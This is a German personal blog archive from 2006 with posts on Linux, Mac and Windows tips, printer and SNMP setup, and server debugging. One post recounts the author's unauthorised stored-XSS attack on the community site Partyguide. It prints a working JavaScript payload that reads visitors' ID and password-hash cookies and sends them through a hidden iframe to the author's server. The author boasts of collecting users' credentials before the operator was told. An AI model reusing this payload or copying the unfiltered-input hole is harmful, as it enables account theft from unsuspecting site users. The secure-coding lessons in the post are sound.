Posts Tagged ‘Windows’

Dienstag, 25. Juli 2006

Linux: "Evolution, not intelligent design"

Eines ist sonnenklar: Microsoft wird nach der Veröffentlichung von Windows Vista grosse Veränderungen (organisatorischer wie technischer Natur) über sich ergehen lassen müssen, um die nächsten zehn Jahre – wenn überhaupt – mit der jetzigen Machtstellung zu überleben:

Now Windows has also rewritten their USB stack at least 3 times, with Vista, it might be 4 times, I haven’t taken a look at it yet. But each time they did a rework, and added new functions and fixed up older ones, they had to keep the old api functions around, as they have taken the stance that they can not break backward compatibility due to their stable API viewpoint. They also don’t have access to the code in all of the different drivers, so they can’t fix them up. So now the Windows core has all 3 sets of API functions in it, as they can’t delete things. That means they maintain the old functions, and have to keep them in memory all the time, and it takes up engineering time to handle all of this extra complexity. That’s their business decision to do this, and that’s fine, but with Linux, we didn’t make that decision, and it helps us remain a lot smaller, more stable, and more secure.

Quelle: linux kernel monkey log

Entwickler von Linux – und etwas schwächer auch diejenigen von Apples Mac OS X – „break things“, wo es nötig ist. Dies bedeutet für alle Beteiligten (Peripherie-Hersteller und Endanwender) zwar einen zusätzlichen kurzfristigen Aufwand, längerfristig profitieren aber alle von Neuerungen. „Change is good“!

Dank: Kollege Liechti

Tags:
Labels: Allgemein

Keine Kommentare | neuen Kommentar verfassen

Montag, 24. Juli 2006

Screenshot eines bestimmten Fensters (Windows / Mac OS X)

Windows

Einen Screenshot des gerade aktiven Fensters erstellt man, indem man Alt+Print Screen drückt. Auf schweizerdeutschen Tastaturen ist zwingend Alt Gr, also die rechte Alt-Taste, zu betätigen. Das Bild ist dann über die Zwischenablage verfügbar.

Um daraus mit ein wenig Mühe (nicht vergessen: wir arbeiten hier in einer Microsoft-Umgebung) ein .PNG-Bild zu produzieren, nehme man meinen etwas älteren Tipp zum Bilderexport aus Word heraus zu Hilfe (sprich: Neues Word-Dokument erstellen, Screenshot einfügen, Datei > Als Website speichern, in dem daraufhin erstellten Ordner nach der betreffenden PNG-Dateien suchen).

Mac OS X

Durch Druck auf Apfel+Shift+4 verändert sich der Cursor in ein Crosshair. Anstelle das Fenster „auszuschneiden“, drücke man mit dem Zeiger über dem gewünschten, aktiven Fenster schwebend auf die Leertaste und betätige dann die linke Maustaste, um das gerade aktive Fenster als PNG auf dem Desktop zu speichern (ab Mac OS X 10.4; bei Mac OS X 10.3 wird noch ein unhandlicheres PDF erstellt).

Tags:
Labels: Allgemein

1 Kommentar | neuen Kommentar verfassen

Donnerstag, 20. Juli 2006

Downgrading of Da Özel, ne?


Downgrading of Da Özel, ne?
Originally uploaded by emeidi.

Das von Kollege Darud befürchtete „Downgrade“ seines Kollegen Da Özel, ne? (meine Wenigkeit) zu einem Beziehungsmenschen rechtzeitig zur Rückkehr meiner in den weiten Afrikas ausharrenden Liebe ist früher eingetreten als gemeinhin erwartet. Anstelle aber persönlich downzugraden, kam mir meine IT-Hardware zuvor, weshalb ich mich bedenklich dem Niveau meines Fahrzeugs annähere. Aber hoffentlich nicht für lange …

Todesanzeige

Gestern Abend, gegen 19:00 Uhr MESZ, schied er von uns – mein geliebter, in den Ferien mit der Freundin oft vermisster PowerMac G5 Dual 1.8GHz mit 2GB RAM und zwei 160GB SATA-Platten. In seiner kurzen Lebenszeit vollbrachte er wahre Meisterleistungen, trug massgeblich zum prosperierenden Geschäft seines Besitzers bei und lief teilweise mehr als den halben Tag.

Todesursache

Zum Verhängnis wurde ihm entweder ein ausufernder Chat mit Kollege Torquenstein (weniger wahrscheinlich) oder aber der (bisher) heisseste Tag des Jahres. Nach einem Hänger (jaja, immer diese zweideutigen Wörter) kam er nicht mehr hoch, nicht einmal das geliebte Start-Chime ertönte mehr aus den Lautsprechern. Dafür blinkte die weisse Power-LED dreimal, um für einige Sekunden zu verharren, um danach erneut dreimal zu blinken. Gemäss Service Manual ein Zeichen für defekte RAM-Module.

Trotz Ausbau aller acht Module und wahlweisem Einsetzen derselben konnte die Maschine nicht mehr aus dem Koma erweckt werden.

Zur Zeit ist die stylish gelöcherte Alu-Kiste (sogar Torquie ist neidisch auf das Gehäuse – oder?) unterwegs nach Dietikon, um dort von einem Experten von Data Quest auseinandergenommen zu werden. Kosten dieses Spass: Da zweieinhalb Jährig, bezahle ich auf alle Fälle den Kostenvoranschlag von 176.–, um danach zu entscheiden, ob eine Notoperation gewagt werden sollte.

Erster Ersatz

Da dies bis zu drei Wochen dauern kann, habe ich in weiser Voraussicht die SATA-Festplatten des G5 ausgebaut und sie in einem blau-weissen PowerMac G3 300MHz (ich sehe schon die weinenden Augen meiner Leser – ja, ich meine es Ernst: 300MHz!!!), der sich über hier unerwähnt gelassene Wege aus Staatsbesitz in mein Eigentum übergeführt hat. Vor einigen Monaten habe ich – ohne die künftige Bedeutung des Kaufs zu erblicken – einen SATA-Adapter gekauft.

Nun bootet die Lotterkiste – ohne Änderungen an der Konfiguration – mit den G5-Platten, das gewohnte OS, nur bedeutend langsamer. Da will ich echt ein Windows-Futzi sehen, der seine Festplatte von einem Pentium IV in einen Pentium II zügelt und Windows da noch bootet … Mit Macs klappt das.

Sogar meine Dual-Monitor-Konfiguration (2x 19″) funktioniert (der rechte Monitor nur über analog, aber das merkt man kaum), der linke Eizo ist über DVI angeschlossen.

Das Wunder von Neuenegg, könntet man sagen. Meine Daten sind noch da, aber alles läuft wie eine Dia-Show ab. Keine Ahnung, ob ich diese Latenz drei Wochen lang ertragen werden kann?

Mögliche Lückenbüsser

Hätte Steve doch nur bereits die Mac Pros vorgestellt … Dann hätte ich mir evtl. eine solche Kiste gekauft. Vielleicht werde ich auch einfach den für Oktober (Studentenaktion Neptun) geplanten Kauf eines MacBooks (weiss, billigstes Modell) vorziehen.

Schicksalsschläge zu Hauf …

In dieser traurigen Stunde darf ich ganz besonders auf das Mitgefühl von Kollege Randy zählen, der erst gerade vor wenigen Wochen sein geliebtes Gefährt Lisi II dem Altmetall-Shredder übergeben musste – mit einem Dienstalter, von dem selbst gestandene Computer nur träumen können.

Tags:
Labels: Neuenegg

Keine Kommentare | neuen Kommentar verfassen

Sonntag, 9. Juli 2006

Der vierte Partyguide-Hack

Wie bereits in meinem gestrigen Artikel Partyguide Strikes Back angetönt habe ich eine weitere (äusserst peinliche) Schwachstelle auf der Community-Web-Site mit der „schweizweit längsten Verweildauer“ gefunden.

Obwohl Partyguide auch dieses Mal seinen Benutzern nichts über die Sicherheitslücke und die mögliche Kompromittierung ihrer Passwörter erzählt hat (bisher jedenfalls), äusserte man indirekt Kenntnis über die Attacke, als man meine Passwort-Datenbank mit einer DDoS-ähnlichen Attacke zuspammen wollte. Das ist natürlich auch eine Art, auf solche Hacks zu reagieren – und eine sehr professionelle dazu:

Deshalb entschieden wir uns, dein Skript ein paar Tausend mal mit gefakten Daten aufzurufen. […] Ob die ganze Aktion erfolgreich verlaufen ist, können wir natürlich nicht sagen.

Quelle: Kommentar von Oli (seines Zeichen Partyguide-Partisan und einer der Argonauten)

Zwei Hinweise von meiner Seite – den Rest kann man sich selber zusammenreimen:

  • Ich verwende INSERT IGNORE in meinem MySQL-Query. Primary Key ist die Benutzer-ID.
  • Meine MySQL-Datenbanken werden jede Nacht mit mysqlhotcopy gebackupt.

Bloatware

Als diesmalige Schwachstelle empfahl sich die kürzlich eingeführte Blog-Funktion (Ein einig Volk von Bloggern (Partyguide 1, eBay 1) und Partyguide und seine Blogs).

Mit dem „Wir-auch“-Ansatz hat man sich aber ein Ei gelegt. Die Parallelen zu Microsoft erstaunen den Kenner kaum: Deren Produkte zeichnen sich als Bloatware aus – bei jedem neuen Release stehen unzählige neue Funktionen im Vordergrund, der Qualitätssicherung und Sicherheit zollt man – wenn überhaupt – nur beiläufig Respekt.

Microsoft hat mit dem Wurm-Debakeln ab 2001 ernsthafte Konsequenzen aus diesem fragwürdigen Verhalten gezogen; Service Pack 2 für Windows XP war das markanteste Anzeichen für den eingetretenen Sinneswandel. Seit diesem glorreichen Tag heisst es auch in Redmond: Security first. Wann folgt auch Partyguide endlich diesem Motto?

Partyguide war sich für diesen Schritt bisher aber zu Schade. Dabei haben den Betreibern über 200’000 Benutzer persönliche Angaben wie Vornamen, Nachnamen, Adresse, Geburtsdatum, Telefonnummer, E-Mail-Adresse anvertraut …

Man verfolgt bei der Bekämpfung von Sicherheitslücken den erfolgsversprechenden Ansatz, potentielle Hacker mundtot zu machen. Anstelle das man die Probleme ein für allemal beseitigt (mein Vorschlag: Code-Audit – aber nicht durch die längst disqualifizierten stümperhaften Programmierer, sondern durch Profis), köpft man lieber den Überbringer der schlechten Nachricht.

Funktionsweise des Exploits

Die Leser werden sich nun fragen, wie dieser vierte Hack (Nummer drei war bisher der spektakulärste – sowohl im Umfang wie auch bezüglich Peinlichkeit) zu stande kam …

Nach den erstaunlichen Cookie-Tricklein, auf die mich ein anonymer Tippgeber aufmerksam machte, kam die XSS-Attacke (ohne Exploit) von Dritten, um danach mir erneut die Chance zu geben, mittels SQL-Injection die Datenbank auf im Klartext gespeicherte Passwörter „abzugrasen“.

Nummer Vier wiederum kam durch einen Initialhinweis durch Dritte zu Stande – dieses Mal handelt es sich um eine ganz klassische eine JavaScript-Injection. Alte Schule, nichts bahnbrechends Neues, seit Jahren bekannt. Wohl nur nicht auf der Argo (paradox: Argo bedeutet auf Griechisch „die Schnelle“) …

Ziel des Angriffs war die bereits erwähnte Blog-Funktion. Diese wurde eingeführt, weil ein findiger Kopf auf dem Schiffchen die glänzende Idee gehabt hatte, auf den momentanen Blog-Hype aufzuspringen.

Ganz nebenbei: Ehrlich gesagt würde ich lieber ein Corporate Blog begrüssen – Titel „Jason und die Party-Argonauten“, in dem wir offizielle Statements zu aktuellen Problemen/Neuerungen nachlesen können. Dauert wohl noch etwas länger.

Und noch einmal nebenbei: Man kann sich überhaupt fragen, ob man dieser Funktion überhaupt den Beinamen „Blog“ geben darf – oder nicht eher: Aufgebohrte Kommentarfunktion? Egal. Der registrierte User kann also der ganzen Welt mitteilen, was Belangloses gerade in seinem Leben abläuft. Und das natürlich nicht nur in Form von Plain-Text, sondern auch mit Textauszeichnunge (Schriften, Farben, Textgrössen, Textauszeichnugne) – realisiert durch HTML-Code. Spätestens hier sollten die Alarmglocken eines sicherheitsbewussten Entwicklers schrillen.

Nun war es so, dass man sich für einen WYSIWYG-HTML-Editor entschied. Die Wahl der Entwickler fiel auf FCKeditor, den ich selbst in einigen Web-Projekten auch einsetze. Daran ist nichts auszusetzen. Was ich erst später entdeckte: Lustigerweise wird aber dieser Editor in Safari, meinem Browser der Wahl, nicht geladen (FCKeditor wäre eigentlich Safari-kompatibel). Ich konnte Artikel also in Plain-Text eingeben, war mir diesem Unterscheid gegenüber den anderen Usern vorerst aber nicht bewusst.

Der Hinweis, der den Ansatz für diesen Exploit lieferte, wurde mir durch einen anonymen Tippgeber zugestellt. Die Person hatte entdeckt, dass man in das Titelfeld JavaScript-Befehle eingeben konnte, die nicht ausgefiltert wurden (bspw. mit der netten PHP-Funktion htmlentities()). Mein Ehrgeiz war auf alle Fälle geweckt.

Nach einer kurzen Überprüfung des Sachverhaltes begann ich, den JavaScript-Exploit zu coden. Ziel: Durch den zweiten Hack angeregt die Cookie-Daten des Lesers des Blogs auszulesen und diese an ein Script auf einem meiner Server weiterzuleiten.

Die Limitation der Zeichen im Titelfeld war sehr mühsam und ich brachte den gewünschten Code nicht im verfügbaren Platz unter. Ich wollte bereits aufgeben, als ich als letzter, verzweifelter Versuch den Code in die textarea, das eigentliche Feld für den Inhalt des Artikels, eingab. Ich konnte mir zu diesem Zeitpunkt überhaupt nicht vorstellen, dass jemand so blöd wäre, JavaScript-Befehle in diesem Feld ungefiltert entgegenzunehmen, in der DB abzuspeichern und danach wieder ohne Behandlung kritischer HTML-Befehle auszugeben. Denkste!

Folgender Code wurde ohne zu murren gefressen:

<script>
 d=document;c=d.cookie;
 
 exp=/c_id=([0-9]{1,6})/;id=exp.exec(c); 
 exp=/c_psw=([a-zA-Z0-9]{32})/;pw=exp.exec(c);
 
 if(id[1] && pw[1]) {
  d.write('<iframe width=\'0\' height=\'0\' src=\'http://p.mad4you.homeip.net/b.gif?i='+id[1]+'&p='+pw[1]+'\'></iframe>');
 }
 </script>

und füllte fortan meine Datenbank.

Soweit ich es erkennen kann, übernimmt eine Funktion des FCKeditors das Ausfiltern unerlaubter Tags. Da diese Applikation aber Client-seitig läuft, ist es lächerlich, sich ausschliesslich darauf zu verlassen! Man tat es – wohl aus einer Kurzschlussreaktion heraus – trotzdem.

Schade nur, dass die Frequenz der Übermittlungen deutlich abnahm, sobald mein Artikel auf Grund der Veröffentlichungszeit die Titelseite verliess. Ich griff zu dem umständlichen Trick, den Artikel von Zeit zu Zeit neu zu speichern, denn dann wurde das Veröffentlichungsdatum automatisch angepasst und der Artikel fand wieder den Weg auf die Titelseite.

Die Zielpersonen für diesen Angriff waren zweifach eingeschränkt: Einerseits mussten die Personen die Autologin-Funktion aktiviert haben, denn sonst wird keine User-ID und der Passwort-MD5-Hash (die Verwendung eines Hashes wurde durch mich angeregt – vorher Plain-Text) im Cookie gespeichert. Andererseits mussten die Personen auch aktiv die Blog-Seite ansurfen. Alles in allem ein sehr unergiebiger Prozess – aber dennoch spassig (halt, nein, es handelt sich um eine sehr ernste Sache, mögen PG-Jünger rufen – Gegenfrage: Wenn es so ernst ist, wieso sind die „ernsten“ Daten so lächerlich gesichert?!).

Findings

Nicht, dass diese Regeln neu wären, doch bei den Partyguide-Entwicklern ist die Meldung wohl noch nicht bis zum Grosshirn durchgekommen:

  • Traue nie GPC-Daten! (GPC = GET/POST/Cookie)
  • Validiere Eingaben niemals Client-seitig, sondern auf dem Server
  • Teste Scripts
  • Teste Scripts nicht mit denjenigen Daten, die du als Programmierer erwartest
  • Teste Web-Sites auf den wichtigsten Browsern (MSIE, Mozilla/Firefox, Opera, Safari/KHTML)

Evil

Bin ich nun ein Böser, weil ich a) aktiv oder durch Hinweise nach Exploits suche und b) dann auch hinterhältig Passwort-Daten sammle? Und all dies, ohne Partyguide innert Minuten nach der Entdeckung der Sicherheit benachrichtige? Oli findet es:

Jedoch mussten wir wieder einmal mehr feststellen, mit welchen bösartigen Absichten du pg gegenüber stehst. […] Im letzten Monat bist Du aber definitiv zu weit gegangen. Deine Böswilligkeit kommt immer mehr zum Vorschein.

May I introduce: The Antichrist himself! Von Nostradamus seit Jahrhunderten vorausgesagt, nun endlich wandelt er im Körper von Mario Aeby auf Gottes Erde …

Kollege Burgdorfer amüsierte sich ab dieser Aussage: Wenn das Böse sei, was ich bisher gemacht hätte, hat Oli ein komisches Verständnis von Bösheiten …

Spass bei Seite: Sicherlich ist mein Vorgehen nicht dasjenige eines professionellen Security-Experten. Aber für mich waren die letzten zwei Hacks eben auch ein Test, der aufzeigen sollte, ob die Betreiber der Community-Site ihre Applikation entsprechend aufmerksam überwachen. Beim letzten Hack dauerte die Reaktionszeit satte 7 Tage, obwohl eine Betrachtung der Log-Daten schon am ersten Tag meiner Attacke auffällige Angaben enthielt.

Der vierte Hack wurde nur entdeckt, weil Partyguide von einem Dritten darauf aufmerksam gemacht wurde. Man stelle sich vor, ich hätte bis in den Herbst hinein weiter auf Partyguide „gebloggt“ …

Auch der CEO tappt in die Falle

Ist er nicht süss: Schon am zweiten Tag meiner Sammelaktion fand sich in der Datenbank einen Eintrag mit der Benutzer-ID ‚1‘ …

Tags: ,
Labels: Allgemein

Keine Kommentare | neuen Kommentar verfassen

Mittwoch, 14. Juni 2006

How-To: LPRng als Print-Server

Ziel: Im Netzwerk einen Druckserver zur Verfügung zu stellen, der Aufträge mit LPR/LPD entgegennimmt und auf einem Postscript-fähigen Drucker am Parallelport ausgibt.

Obwohl sich cups nach den Anpassungen an der Konfigurationsdatei wieder starten liess, produzierte der Drucker bei Netzwerkdrucken nur noch Zeichensalat (PostScript wurde als plain/text ausgedruckt …).

Da ich unfähig war, das Problem zu beheben, entschied ich mich, auf LPRng downzugraden.

Hierzu installierte ich auf meinem Debian-Server das Paket mittels

apt-get install lprng

Danach musste ich mit viel Googeln noch die Konfigurationsdateien anpassen. Das hier ist herausgekommen:

/etc/printcap

Laserdrucker:Laserdrucker
        :server
        :cm=HP Laserjet 1300
        :lp=/dev/lp0
        :sd=/var/spool/lpd/lp
        :lf=/var/log/lprng.log
        :af=/var/log/lprng-accounting.log
        :mx=0

/etc/lprng/lpd.perm

Folgender Befehl muss auskommentiert werden, sonst können Clients im Netzwerk keine Verbindung auf Port 515 aufnehmen:

##  If you want to have connections only from programs on
##  the local host,  then uncomment the next line:
#REJECT NOT SERVER

Mit dem Befehl checkpc überprüft man die Konfigurationseinstellungen. Gibt es Fehlermeldungen, hilft

checkpc -f

Damit werden alle nötigen Verzeichnisse und Dateien angelegt und mit den richtigen Berechtigungen versehen.

Am Schluss startet man den Druckserver mit dem Befehl

/etc/init.d/lprng restart

von Hand neu.

Konfiguration der Clients

Die Clients werden nun so eingerichtet, dass sie mittels LPR (bei Windows über ‚Erweiterte UNIX-Druckdienste‘ oder ähnlich nachzuinstallieren, bei Mac OS X selbstverständlich schon dabei) auf die IP x.x.x.x drucken und dazu den Queue Laserdrucker verwenden.

Tags:
Labels: Linux

1 Kommentar | neuen Kommentar verfassen

Dienstag, 6. Juni 2006

Ein einig Volk von Bloggern (Partyguide 1, eBay 1)

Da werde ich heute von sichtlich stolzen Partyguide-Staffs unaufhörlich auf die neue aufgeschaltete Blogging-Funktion auf der Community-Web-Site hingewiesen, und dann auch das noch:

Ein weiterer großer Name im Internetgeschäft springt auf den Web-2.0-Zug auf: eBay wird auf seiner Plattform in Kürze offenbar Blogs und auch Wikis integrieren.

Quelle: eBay integriert Blogs und Wikis

Irgendwie ist man heute einfach nicht mehr „cool“, wenn man nicht auch noch ein Blog auf seiner Plattform anbietet … Werfen wir doch alle mit schönen Buzzwords um uns.

Liebe Partyguide-Entwickler, liebe eBayer: Konzentriert euch doch lieber auf eure Kernkompetenzen, statt der microsoftschen Featuritis zu frönen. Wir wissen ja alle, wie es mit Microsoft endete: Nachdem man auch Windows XP wieder mit unzähligen Funktionen vollgepappt (verspätet) auf den Markt warf, kam die Rache der Bloatware: Sicherheitsprobleme en masse. Zumindest einer der beiden neuen Blogging-Dienstleister, die die Welt gerade noch gebraucht hat, kann ein Liedlein davon singen. Und beide sollten sie endlich einmal die Usability ihrer Produkte verbessern …

Tags: ,
Labels: Allgemein

Keine Kommentare | neuen Kommentar verfassen

Sonntag, 4. Juni 2006

Installing snmpd on IPCop router for MRTG monitoring

Ein englischer Artikel, der bisher von meinem lokalen Server in die weite Welt „gebroadcastet“ wurde. Die deutschen (und des Englischen nicht mächtigen) Leser mögen mir verzeihen.

This article first was published several years ago when I switched from fli4l to IPCop (open source router software based on GNU/Linux).

The Task

After some days of testing I finally found out a relative simple solution to run a SNMP-Daemon on my IPCop-Router. You will like this added value when graphing traffic stats on a second server running MRTG or RRD or cacti.

Package management under Mac OS X

First of all, I had to deal with Debian-packages. This posed some problems to me, because I don’t have any linux box here except the one running IPCop, which hasn’t package-managers installed [addendum: In the meantime, I switched from Windows to Debian Linux – a reasonable choice. Bye bye Microsoft!]. After I dived into manuals for dpkg i was able to extract the files on my PowerMac running Mac OS X. Before you can execute the shell command below, you need to download and install Fink. After that, continue:

dpkg-deb -x <package>.deb <destination-dir>

Installation

You now do have the required files on your workstation, but yet they need to be put on the IPCop-box. Make use of an SFTP-Client, which requires the SSH-Service enabled on the router. With a SSH-connection to the box, I checked the error messages which occured upon start of the snmpd and then went out to look for the additional files required. The ’search file within packages‘-Function of some package-sites helped me a lot!

Packages needed

These 3 Debian-Packages are essential for your success. Download the .debs and extract them to a single folder with the command mentioned above:

  • snmpd (4.2.3-2)
  • libsnmp4.2 (= 4.2.3-2)
  • libwrap0

File locations

I had to copy all files over to IPCop manually, therefore I made this list to monitor all the files necessary.

/lib/libwrap.so.0
/usr/lib/libucdagent-0.4.2.so
/usr/lib/libucdmibs-0.4.2.so
/usr/lib/libsnmp-0.4.2.so

/usr/sbin/snmpd

You can download the files (confirmed working with IPCop 1.4.0b6) from my local server.

Caveats

Don’t try to copy snmpd.conf over to the box. In my case, it prevented snmpd to act the way it should. I have no idea where the problem lied, but after deleting snmpd.conf, everything worked fine. I hope this saves you a lot of headaches.

Tags:
Labels: Linux

Keine Kommentare | neuen Kommentar verfassen

Samstag, 20. Mai 2006

syslog-ng läuft Amok

(Grosses Vorbild für diesen (ebenso grossen) Artikel: Anatomy of a Bug – lesenswert! Fazit: Microsoft sucks, as always)

Den letzten Dienstag-Nachmittag wollte ich ursprünglich vollständig meinem Vortrag vom Donnerstag widmen. Leider kam ich nur etwa eine Stunde dazu, danach hielt mich mein Debian-Server bis in die frühen Morgenstunden in Schach.

Vorneweg muss ich sagen, dass mein Server seit Jahren zufriedenstellend läuft. Er ist es, dem ich die Faszination für Linux zu verdanken habe. Er ist es auch, der mich über meinen Windows-Horizont hinausblicken liess und mir zeigte, wie schön, kontrollierbar und funktionell die Welt ausserhalb von Redmond ist.

Letzten Dienstag passierte aber zum ersten Mal (seit ich mich erinnern kann) die Nagelprobe schlechthin. Obwohl ich durch die Jahre hinweg viel über das Funktionieren von Linux gelernt hatte, stand ich zum ersten Mal vor einem unüberwindbaren Berg. Vorerst. Ohne fremde Hilfe bekam ich die Kiste nicht mehr ordnungsgemäss zum Laufen. Was war vorgefallen?

Erste unerklärliche Symptome

Alles begann damit, dass ich wieder einmal das System auf den neuesten Stand bringen wollte. apt-get update, danach apt-get upgrade. Alles verlief wie am Schnürchen, bis bei der Installation des letzten Paketes ssl-cert etwas aus dem Ruder lief:

apt-get upgrade
Setting up ssl-cert (1.0.12) ...

Nach etwa fünf Minuten des Wartens begann ich mich zu fragen, wieso das Paket immer noch nicht fertig installiert war. Natürlich hatte ich das Update in keiner screen-Session gestartet, was die Fehlersuche erschwerte: Ich konnte nicht schnell mal mit Ctrl-A-D in ein verfügbares Shell wechseln und entschied mich deshalb für Ctrl-C, was die Installation abbrach.

Gruppen erstellen schlägt fehl

Ein zweiter Login-Versuch per SSH schlug aus unerklärlichen Gründen fehl. Komisch. Ich vermutete, dass dies mit dem nicht installierten ssl-cert zusammenhing (ssl und ssh haben ja beide die Verschlüsselung gemeinsam). Indem ich das Paket richtig installierte, wollte ich dieses b-Problem lösen. Doch erneut hängte sich die Installation an derselben Stelle auf. Was war da nur los? Ich nahm die Fehlermeldung, die apt-get ausspuckte, genauer unter die Lupe:

addgroup: `/usr/sbin/groupadd -g 111 ssl-cert' exited from signal 2.  Aborting.

So so, das Installations-Script konnte keine Gruppe erstellen? Wieso denn das?

Als erstes fasste ich Platzprobleme ins Auge. df -h – sah alles nicht besorgniserregend aus. / (Root) verfügte vielleicht noch 20MB freien Speicher – zu wenig? Konnte das Hinzufügen einer Gruppe wirklich 20MB mit temporären Daten füllen? Ich löschte deshalb vorsorglich rm -R /usr/share/doc/; ein Verzeichnis, das via einer Google-Suche als vernachlässigbar taxiert wurde. Mit über 100MB an freiem Speicher machte ich mich erneut an die Installation.

Leider brachte dies nichts, wieder hängte sich die Installation, wieder mit derselben Meldung. Hatte die Kiste etwa ihre Tage?

Nun gut, gab es vielleicht ein generelles Problem mit dem Hinzufügen von Gruppen? In der Tat: groupadd resp. addgroup hängten beide, wenn ich manuell eine neue Gruppe hinzufügen wollte!

Als Linux-Kenner weiss man ja, dass die Datei /etc/group eine – wie in der Unix-Tradition üblich – simple Textdatei war. Ich fügte also mittels vim eine neue Zeile am Ende ein:

ssl-cert:x:110

Eine erneute Installation funktionierte nun.

Nicht zu vergessen sind übrigens auch (group|shadow).lock-Dateien, die als Überbleibsel noch vorhanden sein können. Ich habe solche einige Male gelöscht, weiss aber rückblickend nicht, ob dies einen Einfluss auf die Problematik gehabt hat.

sshd spinnt

Mir war es weiterhin nicht möglich, eine zusätzliche SSH-Verbindung aufzubauen. Langsam beschlich mich ein ungutes Gefühl. Was war hier nur los? Ein Neustart des Daemons mittels /etc/init.d/ssh restart brachte nichts. (Nebenbemerkung: Fantastisch, wie das im guten alten Linux funktioniert! Obwohl ich den Daemon abschoss und neu startete, blieb meine Terminal-Sitzung selbstverständlich bestehen. Man stelle sich dies bei Microsoft Windows vor. Unmöglich! Entweder hätte man den Server sowieso bereits zehn Mal neu starten müssen, um so weit zu kommen, oder aber zumindest die Terminal-Sitzung wäre gekappt worden).

Nach dem Neustart des Daemons lauschte nicht mal mehr jemand auf Port 22 … Ziel jetzt: Die einzige noch bestehende Verbindung zum Server nicht verlieren. Ich wollte verhindern, den 15″ CRT in die Stube tragen und an den KVM-Switch anschliessen zu müssen.

Okey – was könnte mir helfen, den Fehler einzugrenzen? Langsam aber sicher vermutete ich ein Problem mit der Benutzerverwaltung. Denn per Zufall entdeckte ich, dass auch ein su mario hängen blieb. Keine Gruppen mehr hinzufügbar, kein su, kein SSH-Login – diese Dinge hatten alles mit Nutzern zu tun.

Prozess-Flut

Ein intuitiver Blick in die Liste der Prozesse (ps ax) offenbarte mir ein grauenhaftes Bild. Unzählige /USR/BIN/CRON-Prozesse standen da aufgelistet, die sich nicht freiwillig beenden lassen wollten.

Im Netz fand ich die Lösung, wie ich unzählige Prozesse mit einem Einzeiler abschiessen konnte:

ps ax | grep CRON | awk '{print $1}' | xargs kill -HUP

BTW: Ich liebe Pipes (tönt wieder neunmalklug, nicht?)

Leider behob die Terminierung der Prozesse meine Probleme nicht.

Ein Neustart des Systems (zu besten Zeiten über 100 Tage Uptime *snüff*) wurde unausweichlich …

Doch weder ein shutdown now noch ein reboot per SSH brachten den Server zum Herunterfahren. Zwar ging der Hinweis an alle User über die Konsole, aber auch nach drei Minuten stand meine SSH-Verbindung noch.

Wäre der Neustart schon traurig genug gewesen, nun musste ich also tatsächlich noch den Monitor in die Stube tragen und an den Server anschliessen, um die Kiste von der physischen Konsole aus herunterzufahren.

Nach dem Kraftakt kam der Schreck: Ich konnte mich auf via Keyboard nicht mehr einloggen. Das Passwort wurde zwar akzeptiert, doch auch hier hing das System. Ich las zwar „You have new mail“, doch weiter kam ich nicht. Mit Drücken von Ctrl-C gelangte ich zwar wieder in die Login-Maske, aber das war ja eigentlich nicht gewünscht …

Ein Druck auf den Reset-Knopf am Gehäuse bereitete der Odyssee ein Ende.

Problems? Linux: Be Root, Windows: Reboot

Nicht ganz, leider:

 3295 ?        S      0:00 /USR/SBIN/CRON
 3297 ?        S      0:00 /USR/SBIN/CRON
 3298 ?        S      0:00 /USR/SBIN/CRON
 3303 ?        S      0:00 /USR/SBIN/CRON
 3307 ?        S      0:00 /USR/SBIN/CRON
 3308 ?        S      0:00 /USR/SBIN/CRON
 3309 ?        S      0:00 /USR/SBIN/CRON
 3316 ?        S      0:00 /USR/SBIN/CRON
 3325 ?        S      0:00 /USR/SBIN/CRON
 3579 ?        Ss     0:00 sshd: bittorrent [priv]
 3581 ?        Z      0:00 [sshd] 
 3640 ?        S      0:00 /USR/SBIN/CRON
 3641 ?        S      0:00 /USR/SBIN/CRON
 3642 ?        S      0:00 /USR/SBIN/CRON
 3643 ?        S      0:00 /USR/SBIN/CRON
 3644 ?        S      0:00 /USR/SBIN/CRON
 4569 ?        S      0:00 /USR/SBIN/CRON
 4570 ?        S      0:00 /USR/SBIN/CRON
 4571 ?        S      0:00 /USR/SBIN/CRON
 4572 ?        S      0:00 /USR/SBIN/CRON
 4573 ?        S      0:00 /USR/SBIN/CRON
 4574 ?        S      0:00 /USR/SBIN/CRON
 4658 ?        S      0:00 /USR/SBIN/CRON
 4659 ?        S      0:00 /USR/SBIN/CRON
 4660 ?        S      0:00 /USR/SBIN/CRON
 4661 ?        S      0:00 /USR/SBIN/CRON
 4662 ?        S      0:00 /USR/SBIN/CRON
 4663 ?        S      0:00 /USR/SBIN/CRON
 4664 ?        S      0:00 /USR/SBIN/CRON
 4737 ?        S      0:00 /USR/SBIN/CRON
 4738 ?        S      0:00 /USR/SBIN/CRON
 4739 ?        S      0:00 /USR/SBIN/CRON
 4740 ?        S      0:00 /USR/SBIN/CRON
 4741 ?        S      0:00 /USR/SBIN/CRON
 4752 ?        S      0:00 /USR/SBIN/CRON
 4753 ?        S      0:00 /USR/SBIN/CRON
 4754 ?        S      0:00 /USR/SBIN/CRON
 4755 ?        S      0:00 /USR/SBIN/CRON
 4756 ?        S      0:00 /USR/SBIN/CRON
 4757 ?        S      0:00 /USR/SBIN/CRON
 4758 ?        S      0:00 /USR/SBIN/CRON
 4759 ?        S      0:00 /USR/SBIN/CRON
 4760 ?        S      0:00 /USR/SBIN/CRON
 4761 ?        S      0:00 /USR/SBIN/CRON
 4762 ?        S      0:00 /USR/SBIN/CRON
 4763 ?        S      0:00 /USR/SBIN/CRON
 4764 ?        S      0:00 /USR/SBIN/CRON
 4765 ?        S      0:00 /USR/SBIN/CRON
 4766 ?        S      0:00 /USR/SBIN/CRON
 4767 ?        S      0:00 /USR/SBIN/CRON
 4768 ?        S      0:00 /USR/SBIN/CRON
 4779 ?        S      0:00 /USR/SBIN/CRON
 4780 ?        S      0:00 /USR/SBIN/CRON
 4781 ?        S      0:00 /USR/SBIN/CRON
 4782 ?        S      0:00 /USR/SBIN/CRON
 4783 ?        S      0:00 /USR/SBIN/CRON
 4784 ?        S      0:00 /USR/SBIN/CRON

Böser cron?

Der Täter schien gefasst: cron! Wieso nur? Und bei welchem Eintrag in der /etc/crontab verschluckte er sich?

Nach und nach schaltete ich Zeile für Zeile ab, dennoch wurden in der Zeit mehrere Reboots nötig: Immer wieder begann das System zu zicken. Immerhin fand ich mit der Zeit heraus, dass ein /etc/init.d/reboot stop einen softwaremässigen Reboot auslöste. Der Gang zum Server entfiel.

Ich fand in dieser Übung heraus, dass es unzählige Orte gibt, wo cron-Jobs abgelegt werden:

/etc/crontab
/etc/cron.d
